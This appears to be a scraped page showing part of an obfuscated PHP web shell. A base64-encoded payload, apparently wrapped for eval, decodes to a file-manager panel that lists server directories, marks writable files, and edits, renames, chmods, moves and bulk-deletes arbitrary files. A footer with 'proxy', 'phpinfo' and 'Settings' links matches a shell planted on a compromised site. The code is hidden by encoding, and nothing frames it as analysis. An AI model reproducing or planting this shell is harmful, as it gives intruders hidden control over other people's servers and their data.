b2RfdmFsJyB2YWx1ZT0nJGN1cnJlbnRfcGVybXMnIHNpemU9JzUnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4tZ2xvc3N5Jz5DaGFuZ2U8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+IjsNCiAgICAgICAgICAgIH0gZWxzZWlmICgkYWN0ID09PSAnbW92ZScpIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0aW9uJyB2YWx1ZT0nbW92ZSc+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YXJnZXQnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiInPg0KICAgICAgICAgICAgICAgICAgICAgICAgRGVzdCBQYXRoOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZGVzdGluYXRpb24nIHN0eWxlPSd3aWR0aDo1MCU7JyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKGRpcm5hbWUoJGl0ZW0pKS4iJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0nc3VibWl0JyBjbGFzcz0nYnRuLWdsb3NzeSc+TW92ZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPC9kaXY+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICA/Pg0KICAgIA0KICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImJ1bGtfZGVsZXRlIj4NCiAgICAgICAgPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMTJweDsgZGlzcGxheTogZmxleDsganVzdGlmeS1jb250ZW50OiBmbGV4LWVuZDsiPg0KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4tZ2xvc3N5IGJ0bi1kYW5nZXItZ2xvc3N5IiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnRGVsZXRlIGFsbCBzZWxlY3RlZCBpdGVtcz8nKTsiPvCfl5HvuI8gRGVsZXRlIFNlbGVjdGVkPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IHN0eWxlPSJvdmVyZmxvdy14OiBhdXRvOyI+DQogICAgICAgICAgICA8dGFibGU+DQogICAgICAgICAgICAgICAgPHRoZWFkPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9IndpZHRoOiAzJTsgdGV4dC1hbGlnbjogY2VudGVyOyI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBvbkNsaWNrPSJ0b2dnbGVTZWxlY3RBbGwodGhpcykiPjwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGg+SXRlbSBOYW1lPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5TaXplPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5QZXJtcyAmIFN0YXR1czwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGg+QWN0aW9uczwvdGg+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPC90aGVhZD4NCiAgICAgICAgICAgICAgICA8dGJvZHk+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICRmaWxlcyA9IHNjYW5kaXIoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRmaWxlcyA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgY29sc3Bhbj0nNScgc3R5bGU9J2NvbG9yOnZhcigtLWRhbmdlcik7Jz5EaXJlY3RvcnkgYWNjZXNzIHJlc3RyaWN0ZWQuPC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPT09ICIuIiB8fCAkZmlsZSA9PT0gIi4uIikgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuICRmaWxlOyAkaXNfZGlyID0gaXNfZGlyKCRmdWxsX3BhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzaXplID0gJGlzX2RpciA/ICJESVIiIDogbnVtYmVyX2Zvcm1hdChmaWxlc2l6ZSgkZnVsbF9wYXRoKSkgLiAiIEIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlzX3IgPSBpc19yZWFkYWJsZSgkZnVsbF9wYXRoKTsgJGlzX3cgPSBpc193cml0YWJsZSgkZnVsbF9wYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGlzX3IgJiYgJGlzX3cpIHsgJHN0YXR1c19iYWRnZSA9ICI8c3BhbiBjbGFzcz0nYmFkZ2UgYmFkZ2UtcncnPlJXPC9zcGFuPiI7IH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmICgkaXNfcikgeyAkc3RhdHVzX2JhZGdlID0gIjxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1yJz5SPC9zcGFuPiI7IH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmICgkaXNfdykgeyAkc3RhdHVzX2JhZGdlID0gIjxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS13Jz5XPC9zcGFuPiI7IH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7ICRzdGF0dXNfYmFkZ2UgPSAiPHNwYW4gY2xhc3M9J2JhZGdlIGJhZGdlLWxvY2tlZCc+TG9ja2VkPC9zcGFuPiI7IH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQgc3R5bGU9J3RleHQtYWxpZ246IGNlbnRlcjsnPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZmlsZXNbXScgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkZnVsbF9wYXRoKS4iJz48L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpc19kaXIpIHsgZWNobyAiPHRkPjxhIGNsYXNzPSdmb2xkZXItbGluaycgaHJlZj0nP2Rpcj0iLnVybGVuY29kZSgkZnVsbF9wYXRoKS4iJz7wn5OBICRmaWxlLzwvYT48L3RkPiI7IH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7IGVjaG8gIjx0ZD48c3BhbiBjbGFzcz0nZmlsZS1saW5rJz7wn5OEICRmaWxlPC9zcGFuPjwvdGQ+IjsgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4kc2l6ZTwvdGQ+IjsgZWNobyAiPHRkPiIgLiAkcGVybXMgLiAiICIgLiAkc3RhdHVzX2JhZGdlIC4gIjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQgY2xhc3M9J2FjdGlvbnMnPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkaXNfZGlyKSB7IGVjaG8gIjxhIGhyZWY9Jz9kaXI9Ii51cmxlbmNvZGUoJGN1cnJlbnRfZGlyKS4iJml0ZW09Ii51cmxlbmNvZGUoJGZ1bGxfcGF0aCkuIiZhY3Q9ZWRpdCc+RWRpdDwvYT4iOyB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iLnVybGVuY29kZSgkY3VycmVudF9kaXIpLiImaXRlbT0iLnVybGVuY29kZSgkZnVsbF9wYXRoKS4iJmFjdD1yZW5hbWUnPlJlbmFtZTwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kaXI9Ii51cmxlbmNvZGUoJGN1cnJlbnRfZGlyKS4iJml0ZW09Ii51cmxlbmNvZGUoJGZ1bGxfcGF0aCkuIiZhY3Q9Y2htb2QnPkNobW9kPC9hPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iLnVybGVuY29kZSgkY3VycmVudF9kaXIpLiImaXRlbT0iLnVybGVuY29kZSgkZnVsbF9wYXRoKS4iJmFjdD1tb3ZlJz5Nb3ZlPC9hPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIG5hbWU9J3RhcmdldCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkZnVsbF9wYXRoKS4iJyBjbGFzcz0nZGVsLWJ0bicgZm9ybWFjdGlvbj0nP2Rpcj0iLnVybGVuY29kZSgkY3VycmVudF9kaXIpLiInIG9uY2xpY2s9XCJ0aGlzLmZvcm0uYWN0aW9uLnZhbHVlPSdkZWxldGVfc2luZ2xlJzsgcmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSB0aGlzIGl0ZW0/Jyk7XCI+RGVsZXRlPC9idXR0b24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RkPiI7IGVjaG8gIjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDwvdGJvZHk+DQogICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Zvcm0+DQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4=')); ?>
| ver. 1.6 |
Github
|
.
| PHP 7.4.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings